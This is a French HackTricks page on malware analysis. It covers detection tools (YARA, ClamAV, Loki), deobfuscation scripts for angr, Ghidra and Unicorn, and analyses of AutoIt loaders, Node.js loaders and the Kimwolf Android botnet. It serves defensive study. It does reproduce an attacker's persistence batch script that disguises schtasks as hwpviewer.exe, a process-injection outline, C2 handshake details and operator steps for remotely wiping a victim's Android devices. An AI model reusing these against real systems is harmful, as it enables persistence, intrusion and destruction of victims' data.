Malware Analysis

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Forensics CheatSheets

https://www.jaiminton.com/cheatsheet/DFIR/#

Services en ligne

Outils antivirus et de détection hors ligne

Yara

Installation

sudo apt-get install -y yara

Préparer les règles

Utilisez ce script pour télécharger et fusionner toutes les yara malware rules depuis github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9\ Créez le répertoire rules et exécutez-le. Cela créera un fichier appelé malware_rules.yar qui contient toutes les yara rules pour malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scan

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen : Rechercher du malware et créer des règles

Vous pouvez utiliser l’outil YaraGen pour générer des règles YARA à partir d’un binaire. Consultez ces tutoriels : Part 1, Part 2, Part 3.

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Installation

sudo apt-get install -y clamav

Analyse

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa détecte potentiellement des capabilities dans les exécutables : PE, ELF, .NET. Il trouvera donc des éléments tels que Att&ck tactics, ou des capabilities suspectes telles que :

  • check for OutputDebugString error
  • run as a service
  • create process

Récupérez-le dans le Github repo.

IOCs

IOC signifie Indicator Of Compromise. Un IOC est un ensemble de conditions qui identifient certains logiciels potentiellement indésirables ou confirmés comme malware. Les Blue Teams utilisent ce type de définition pour rechercher ce type de fichiers malveillants dans leurs systèmes et réseaux.
Partager ces définitions est très utile : quand un malware est identifié sur un ordinateur et qu’un IOC pour ce malware est créé, d’autres Blue Teams peuvent l’utiliser pour identifier le malware plus rapidement.

Un outil pour créer ou modifier des IOCs est IOC Editor.
Vous pouvez utiliser des outils comme Redline pour chercher des IOCs définis sur un appareil.

Loki

Loki est un scanner pour Simple Indicators of Compromise.
La détection est basée sur quatre méthodes de détection :

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) est un scanner de malware pour Linux distribué sous la licence GNU GPLv2, conçu pour les menaces rencontrées dans les environnements d’hébergement mutualisé. Il utilise des données de menace provenant de systèmes de détection d’intrusion en périphérie réseau pour extraire les malware activement utilisés dans des attaques et génère des signatures pour la détection. De plus, des données de menace proviennent aussi des soumissions d’utilisateurs via la fonctionnalité LMD checkout et des ressources communautaires sur les malware.

rkhunter

Des outils comme rkhunter peuvent être utilisés pour vérifier le système de fichiers à la recherche de rootkits et de malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS est un outil qui tentera de trouver des obfuscated strings à l’intérieur d’exécutables en utilisant différentes techniques.

PEpper

PEpper vérifie quelques éléments basiques à l’intérieur de l’exécutable (binary data, entropy, URLs and IPs, some yara rules).

PEstudio

PEstudio est un outil qui permet d’obtenir des informations sur les exécutables Windows tels que imports, exports, headers, mais vérifie aussi virus total et identifie d’éventuelles Att&ck techniques.

Detect It Easy(DiE)

DiE est un outil pour détecter si un fichier est encrypted et aussi trouver des packers.

NeoPI

NeoPI est un script Python qui utilise diverses méthodes statistiques pour détecter du contenu obfuscated et encrypted dans des fichiers texte/script. Le but de NeoPI est d’aider à la détection de code web shell caché.

php-malware-finder

PHP-malware-finder fait de son mieux pour détecter du obfuscated/dodgy code ainsi que des fichiers utilisant des fonctions PHP souvent utilisées dans des malwares/webshells.

Apple Binary Signatures

Lors de l’analyse d’un malware sample, vous devriez toujours vérifier la signature du binaire car le développeur qui l’a signé peut déjà être lié au malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Techniques de détection

Empilage de fichiers

Si vous savez qu’un dossier contenant les fichiers d’un serveur web a été dernièrement mis à jour à une certaine date, vérifiez la date de création et de modification de tous les fichiers du serveur web et si une date est suspecte, examinez ce fichier.

Lignes de base

Si les fichiers d’un dossier n’auraient pas dû être modifiés, vous pouvez calculer le hash des fichiers originaux du dossier et les comparer avec ceux actuels. Tout ce qui est modifié sera suspect.

Analyse statistique

Quand l’information est enregistrée dans des logs, vous pouvez vérifier des statistiques telles que le nombre de fois où chaque fichier d’un serveur web a été accédé, car un web shell pourrait être l’un des plus sollicités.


Télémétrie native in-app Android (sans root)

Sur Android, vous pouvez instrumenter le code natif à l’intérieur du processus de l’application cible en préchargeant une petite librairie de logging avant l’initialisation des autres libs JNI. Cela donne une visibilité précoce sur le comportement natif sans hooks système globaux ni root. Une approche populaire est SoTap : déposer libsotap.so pour le bon ABI dans l’APK et injecter un appel System.loadLibrary(“sotap”) tôt (p.ex. initialiseur statique ou Application.onCreate), puis collecter les logs depuis des chemins internes/externes ou en utilisant Logcat en fallback.

Voir la page Android native reversing pour les détails d’installation et les chemins de logs :

Reversing Native Libraries


Déobfuscation de chaînes natives Android/JNI avec angr + Ghidra

Certaines malwares Android et des apps protégées par RASP cachent les noms et signatures de méthodes JNI en les décodant à l’exécution avant d’appeler RegisterNatives. Quand l’instrumentation Frida/ptrace est interrompue par des anti-debug, vous pouvez toujours récupérer le texte en clair hors ligne en exécutant le décodeur incorporé avec angr puis en poussant les résultats dans Ghidra en tant que commentaires.

Idée clé : traiter le décodeur à l’intérieur du .so comme une fonction appelable, l’exécuter sur les blobs d’octets obfusqués dans .rodata, et concrétiser les octets de sortie jusqu’au premier \x00 (terminateur C-string). Gardez angr et Ghidra avec la même image base pour éviter les décalages d’adresses.

Aperçu du workflow

  • Triage dans Ghidra : identifier le décodeur et sa convention d’appel/arguments dans JNI_OnLoad et la configuration de RegisterNatives.
  • Exécuter angr (CPython3) pour exécuter le décodeur pour chaque chaîne cible et dumper les résultats.
  • Annoter dans Ghidra : auto-commenter les chaînes décodées à chaque site d’appel pour une reconstruction JNI rapide.

Triage dans Ghidra (pattern JNI_OnLoad)

  • Appliquez les JNI datatypes à JNI_OnLoad afin que Ghidra reconnaisse les structures JNINativeMethod.
  • JNINativeMethod typique d’après la doc Oracle :
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Cherchez les appels à RegisterNatives. Si la librairie construit le name/signature via une routine locale (p.ex. FUN_00100e10) qui référence une table d’octets statique (p.ex. DAT_00100bf4) et prend des paramètres comme (encoded_ptr, out_buf, length), c’est une cible idéale pour une exécution hors ligne.

angr setup (exécuter le décodeur hors ligne)

  • Chargez le .so avec la même base utilisée dans Ghidra (exemple : 0x00100000) et désactivez l’auto-chargement des libs externes pour garder l’état léger.
Configuration d'angr et exécution hors ligne du décodeur ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- À grande échelle, construisez une cartographie statique des call sites vers les arguments du décodeur (encoded_ptr, size). Les wrappers peuvent masquer les arguments, donc vous pouvez créer cette correspondance manuellement à partir des xrefs Ghidra si la récupération d'API est bruyante.

<details>
<summary>Batch decode multiple call sites with angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Annoter les sites d’appel dans Ghidra Option A : script Jython uniquement pour écrire des commentaires (utiliser un JSON pré-calculé)

  • Étant donné qu’angr requiert CPython3, séparez la déobfuscation et l’annotation. Exécutez d’abord le script angr ci-dessus pour produire decoded_strings.json. Ensuite, lancez ce GhidraScript Jython pour écrire PRE_COMMENTs à chaque site d’appel (et inclure le nom de la fonction appelante pour le contexte) :
Script Jython Ghidra pour annoter les chaînes JNI décodées ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.

Why this works and when to use it
- L'exécution hors-ligne évite les mécanismes RASP/anti-debug : pas de ptrace, pas de Frida hooks nécessaires pour récupérer les strings.
- Maintenir Ghidra et angr alignés sur le même base_addr (par ex. 0x00100000) garantit que les adresses de fonctions/données correspondent entre les outils.
- Recette reproductible pour les decoders : traiter la transformation comme une fonction pure, allouer un buffer de sortie dans un état neuf, l'appeler avec (encoded_ptr, out_ptr, len), puis concrétiser via state.solver.eval et parser les C-strings jusqu'à \x00.

Notes and pitfalls
- Respectez l'ABI cible / la convention d'appel. angr.factory.callable en choisit une selon l'arch ; si les arguments semblent décalés, spécifiez cc explicitement.
- Si le decoder attend des buffers de sortie remplis de zéros, initialisez outbuf avec des zéros dans l'état avant l'appel.
- Pour les .so Android position-independent, fournissez toujours base_addr afin que les adresses dans angr correspondent à celles vues dans Ghidra.
- Utilisez currentProgram.getReferenceManager() pour énumérer les call-xrefs même si l'app encapsule le decoder derrière de fines stubs.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Les familles de malware modernes abusent fortement de l'obfuscation du Control-Flow Graph (CFG) : au lieu d'un jump/call direct elles calculent la destination à l'exécution puis exécutent un `jmp rax` ou `call rax`. Un petit *dispatcher* (typiquement neuf instructions) fixe la cible finale en fonction des flags CPU `ZF`/`CF`, brisant complètement la récupération statique du CFG.

La technique — illustrée par le loader SLOW#TEMPEST — peut être vaincue avec un workflow en trois étapes qui ne repose que sur IDAPython et le Unicorn CPU emulator.

### 1. Localisez chaque saut / appel indirect
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Extraire le byte-code du dispatcher

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Émulez-le deux fois avec Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Exécutez run(code,0,0) et run(code,1,1) pour obtenir les cibles de branche false et true.

4. Remettre en place un jump / call direct

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Après le patch, forcez IDA à réanalyser la fonction afin que le CFG complet et la sortie Hex-Rays soient restaurés :

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Étiqueter les appels API indirects

Une fois que la destination réelle de chaque call rax est connue, vous pouvez indiquer à IDA ce que c’est afin que les types de paramètres et les noms de variables soient récupérés automatiquement :

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Avantages pratiques

  • Restaure le vrai CFG → la décompilation passe de 10 lignes à des milliers.
  • Permet string-cross-reference & xrefs, rendant la reconstruction du comportement triviale.
  • Les scripts sont réutilisables : déposez-les dans n’importe quel loader protégé par la même astuce.

Loaders basés sur AutoIt : déchiffrement .a3x, usurpation Task Scheduler et injection RAT

Ce schéma d’intrusion enchaîne un MSI signé, des loaders AutoIt compilés en .a3x, et une tâche Task Scheduler se faisant passer pour une application bénigne.

MSI → custom actions → AutoIt orchestrator

Arbre des processus et commandes exécutées par les custom actions du MSI :

  • MsiExec.exe → cmd.exe pour exécuter install.bat
  • WScript.exe pour afficher une boîte de dialogue d’erreur factice
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (dépose le loader, configure la persistence, s’auto-nettoie):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (leurre utilisateur):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Artefacts clés et usurpation :

  • Dépose AutoIt3.exe et IoKlTr.au3 dans C:\Users\Public\Music
  • Copie schtasks.exe vers hwpviewer.exe (se faisant passer pour Hangul Word Processor viewer)
  • Crée une tâche planifiée “IoKlTr” qui s’exécute toutes les 1 minute
  • Raccourci de démarrage observé sous Smart_Web.lnk ; mutex : Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Place des modules sous %APPDATA%\Google\Browser\ dans des sous-dossiers contenant adb ou adv et les démarre via les helpers autoit.vbs/install.bat

Forensic triage tips :

  • Énumération schtasks : schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Rechercher des copies renommées de schtasks.exe co-localisées avec le Task XML : dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Chemins communs : C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Corréler la création de processus : AutoIt3.exe lançant des binaires Windows légitimes (par ex., cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • Les modules AutoIt sont compilés avec #AutoIt3Wrapper_Outfile_type=a3x et déchiffrent les payloads embarqués avant de les injecter dans des processus bénins.
  • Familles observées : QuasarRAT (injecté dans hncfinder.exe) et RftRAT/RFTServer (injecté dans cleanmgr.exe), ainsi que des modules RemcosRAT (Remcos\RunBinary.a3x).
  • Schéma de déchiffrement : dériver une clé AES via HMAC, déchiffrer le blob embarqué, puis injecter le module en clair.

Squelette générique de déchiffrement (l’entrée/algorithme HMAC exact est spécifique à la famille) :

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Common injection flow (CreateRemoteThread-style):

  • CreateProcess (suspended) du processus cible (par ex., cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory avec le module/shellcode déchiffré
  • CreateRemoteThread ou QueueUserAPC pour exécuter le payload

Hunting ideas

  • AutoIt3.exe dont le parent est MsiExec.exe ou WScript.exe et qui lance des utilitaires système
  • Fichiers avec l’extension .a3x ou AutoIt script runners sous des chemins publics/inscriptibles par l’utilisateur
  • Tâches planifiées suspectes exécutant AutoIt3.exe ou des binaires non signés par Microsoft, avec des déclencheurs à l’échelle de la minute

Abus de prise de contrôle de compte via Android Find My Device (Find Hub)

Pendant l’intrusion Windows, les opérateurs ont utilisé des identifiants Google volés pour effacer à plusieurs reprises les appareils Android de la victime, en supprimant les notifications pendant qu’ils étendaient l’accès via le client messenger de bureau de la victime.

Operator steps (from a logged-in browser session):

  • Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
  • Select device → re-enter Google password → issue “Erase device” (factory reset); repeat to delay recovery
  • Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications

Tracing heavily obfuscated Node.js loaders

Les attaquants intègrent de plus en plus des JavaScript loaders dans des binaires Windows autonomes compilés avec nexe, de sorte que le runtime est livré avec le script. Le PE résultant pèse souvent 60–90 MB et s’exécute même si Node.js n’est pas installé. Lors du triage :

  • Use nexe_unpacker to carve the embedded JavaScript out of the PE and feed it to local tooling for static diffing.
  • Expect a disk-based mutex in %TEMP% (GachiLoader drops a random <name>.lock file that expires after ~5 minutes). Copying the file to the sandbox before execution lets you skip redundant stages while still seeing later payloads.

Node.js API tracing to defeat anti-analysis

Check Point’s Nodejs-Tracer accroche les modules core dans n’importe quel process Node.js, permet de simuler les sondes anti-VM, et préserve tous les artefacts écrits par l’échantillon. Lancez les scripts obfusqués via le tracer afin de garder l’instrumentation contrôlée par l’analyste dans la pile d’appels:

node -r .\tracer.js main.js

Les principaux commutateurs de configuration dans tracer.js vous permettent de :

  • Consigner l’activité du système de fichiers, des processus enfants et HTTP (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Chaque fichier déposé — tel que kidkadi.node — est copié dans le répertoire de travail avant que le malware ne le supprime.
  • Remplacer les empreintes de l’environnement en renvoyant des nombres réalistes de RAM/CPU, en falsifiant la sortie de tasklist et en altérant les réponses PowerShell/WMI. Cela contourne les loaders qui exigent ≥4 GB RAM, ≥2 cores, et qui examinent les noms d’utilisateur (mashinesssss, wdagutilityaccount, etc.), les hostnames (desktop-vrsqlag, server1 …) et les noms de processus (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neutraliser les vérifications matérielles WMI telles que Get-WmiObject Win32_DiskDrive (recherchant vmware, kvm, virtio, …), Win32_VideoController (bloquant “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) et les compteurs Win32_PortConnector. Lorsque ces sondes rapportent du matériel “réel”, les sandboxes ne tombent plus dans la boucle infinie d’appels bénins Invoke-WebRequest vers linkedin.com, grok.com, whatsapp.com et des domaines similaires que GachiLoader utilise pour faire perdre du temps d’analyse.

Capturer automatiquement le trafic C2 restreint

Les hooks réseau du tracer révèlent une authentification C2 à couches multiples sans avoir à désobfusquer le JavaScript. Dans la campagne observée, le loader :

  1. Envoie via POST la télémétrie de l’hôte à /log sur chaque C2 codé en dur.
  2. Effectue un GET /richfamily/<per-sample key> avec X-Secret: gachifamily pour récupérer une URL de payload encodée en Base64.
  3. Effectue un GET final vers cette URL avec un long en-tête X-Secret spécifique à l’échantillon ; sans cet en-tête le serveur renvoie 403 Forbidden.

Parce que le tracer enregistre les requêtes complètes (headers, bodies, destinations), vous pouvez rejouer le même trafic pour récupérer des payloads, dumper des shells Themida/VMProtect en mémoire et extraire à grande échelle les données de configuration Rhadamanthys.

AdaptixC2 : Configuration Extraction and TTPs

Voir la page dédiée :

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Les APK malveillants tels que com.n2.systemservice06* embarquent un ELF ARM lié statiquement dans res/raw (par ex. R.raw.libniggakernel). Un BOOT_COMPLETED receiver s’exécute au démarrage, extrait la ressource raw dans le sandbox de l’application (par ex. /data/data/<pkg>/niggakernel), la rend exécutable et l’invoque avec su.
  • Beaucoup de Android TV boxes/tablettes sont livrés avec des images pré-rootées ou un su accessible en écriture par tous, donc le loader démarre de manière fiable l’ELF avec UID 0 même sans chaîne d’exploit. La persistance est « gratuite » car le receiver relance après chaque reboot ou redémarrage de l’application.
  • Reverse engineers hunting for this pattern can diff AndroidManifest.xml for hidden boot receivers plus code that references Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Au démarrage, Kimwolf bind un abstract UNIX domain socket tel que @niggaboxv4/@niggaboxv5. Des sockets existants forcent la sortie, donc le nom du socket sert à la fois de mutex et d’artéfact forensique.
  • Le titre du processus est écrasé par des noms ressemblant à des services (netd_services, tv_helper, etc.) pour se fondre dans les listes de processus Android. Les détections basées sur l’hôte peuvent alerter sur ces noms combinés au socket mutex.

Stack XOR string decoding with ARM NEON + flare_emu

  • Les chaînes sensibles (domaines C2, resolvers, DoT endpoints) sont poussées sur la pile en blocs chiffrés de 8 octets et décodées in situ via VEOR Qx, Qx, Qy (veorq_s64). Les analystes peuvent écrire des scripts pour flare_emu afin d’attraper le pointeur déchiffré chaque fois que le déchiffreur le remet à l’appelant :
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Recherche de séquences VEOR Q8, Q8, Q9 / veorq_s64 et émulation de leurs plages qui provoque le vidage en masse de chaque chaîne déchiffrée, contournant la durée de vie stack-only du plaintext.

DNS-over-TLS resolution plus dérivation d’IP par XOR

  • Toutes les variantes Kimwolf résolvent les domaines C2 en utilisant DNS-over-TLS (TCP/853) directement avec Google (8.8.8.8) ou Cloudflare (1.1.1.1), contournant la journalisation DNS simple ou le détournement.
  • Les bots v4 utilisent simplement l’enregistrement A IPv4 retourné. Les bots v5 traitent l’enregistrement A comme un entier 32 bits, inversent son endianness, le XORisent avec la constante 0x00ce0491, puis ré-inversent l’endianness pour obtenir la véritable IP C2. Recette CyberChef : Changer le format IP → inverser l’endianness par tranche de 4 octets → XOR avec 00 ce 04 91 → convertir en décimal pointé.

ENS / EtherHiding fallback

  • Les builds ultérieurs ajoutent un domaine ENS (pawsatyou.eth) dont la clé de texte du resolver "lol" stocke une IPv6 à l’apparence bénigne (fed0:5dec:...:1be7:8599).
  • Le bot récupère les quatre derniers octets (1b e7 85 99), les XORise avec 0x93141715, et interprète le résultat comme une IPv4 C2 (136.243.146.140). Mettre à jour l’enregistrement texte ENS fait pivoter instantanément les C2 en aval via la blockchain sans toucher au DNS.

TLS + ECDSA authenticated command channel

  • Le trafic est encapsulé dans wolfSSL avec un protocole encadré personnalisé :
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap : le bot envoie deux en-têtes vides MsgType=0 (register). Le C2 répond avec MsgType=1 (verify) contenant un challenge aléatoire plus une signature ECDSA ASN.1 DER. Les bots la vérifient contre un blob SubjectPublicKeyInfo embarqué ; les échecs terminent la session, empêchant des nœuds C2 hijacked/sinkholed d’ordonner des tâches à la flotte.
  • Une fois vérifié, le bot envoie un corps MsgType=0 portant la group string définie par l’opérateur (p.ex. android-postboot-rt). Si le groupe est activé, le C2 répond par MsgType=2 (confirm), après quoi le tasking (MsgType 5–12) commence.
  • Les verbes supportés incluent le proxying TCP/UDP de type SOCKS (residential proxy monetization), reverse shell / single command exec, lecture/écriture de fichiers, et des payloads Mirai-compatible DDoSBody (même agencement AtkType, Duration, Targets[], Flags[]).

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks